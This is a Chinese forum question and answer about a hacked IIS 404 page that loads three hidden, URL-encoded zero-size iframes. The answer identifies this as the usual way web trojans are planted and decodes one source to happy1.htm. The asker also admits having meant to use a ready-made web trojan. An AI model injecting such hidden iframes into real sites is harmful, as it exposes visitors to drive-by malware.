问题描述：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>无法找到该页</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312">
<STYLE type="text/css">
BODY { font: 9pt/12pt 宋体 }
H1 { font: 12pt/15pt 宋体 }
H2 { font: 9pt/12pt 宋体 }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>
<iframe src="%68%61%70%70%79%31.%68%74%6D" width="0" height="0" border="0"></iframe>
<iframe src="%68%61%70%70%79%32.%68%74%6D" width="0" height="0" border="0"></iframe>
<iframe src="%68%61%70%70%79%33.%68%74%6D" width="0" height="0" border="0"></iframe>
<h1>无法找到该页</h1>
您正在搜索的页面可能已经删除、更名或暂时不可用。
<hr>
<p>请尝试以下操作：</p>
<ul>
<li>确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。</li>
<li>如果通过单击链接而到达了该网页，请与网站管理员联系，通知他们该链接的格式不正确。
</li>
<li>单击<a href="javascript:history.back(1)">后退</a>按钮尝试另一个链接。</li>
</ul>
<h2>HTTP 错误 404 - 文件或目录未找到。<br>Internet 信息服务 (IIS)</h2>
<hr>
<p>技术信息（为技术支持人员提供）</p>
<ul>
<li>转到 <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft 产品支持服务</a>并搜索包括“HTTP”和“404”的标题。</li>
<li>打开“IIS 帮助”（可在 IIS 管理器 (inetmgr) 中访问），然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。</li>
</ul>
</TD></TR></TABLE></BODY></HTML><script language="javascript" src="http://count29.51yes.com/click.aspx?id=298719428&logo=12"></script>
这段代码应该不是网马，但是里面可能连接了个网站地址，通过那个网站，再把木马下载运行。现在的卖网马的人怎么用这招呀，是不是不想让人知道他的网马呀？
不知道我看的对不对，本人是个菜鸟，本来想利用一下写好的网马，结果没防在门外了。
说错的地方请别开口大骂
<iframe src="%68%61%70%70%79%31.%68%74%6D" width="0" height="0" border="0"></iframe>
<iframe src="%68%61%70%70%79%32.%68%74%6D" width="0" height="0" border="0"></iframe>
<iframe src="%68%61%70%70%79%33.%68%74%6D" width="0" height="0" border="0"></iframe>
这三句本加过密了，应该是三个连接。
请高手指导一二
和我翻译的一样。
这就奇怪了，网站上没此文件，也没别的转向连接，为什么也能中马呢？请指导一下。
script language="javascript" src="http://count29.51yes.com/click.aspx?id=298719428&logo=12"></script>
这段是看流量的，应该不可能是挂马的地址哦。
问题解答：
网页木马一般都是用<iframe>来实现的，你这个加密还是简单了点~用的是URL编码吧，很容易就能还原
%68%61%70%70%79%31.%68%74%6D=happy1.htm
上海旅游网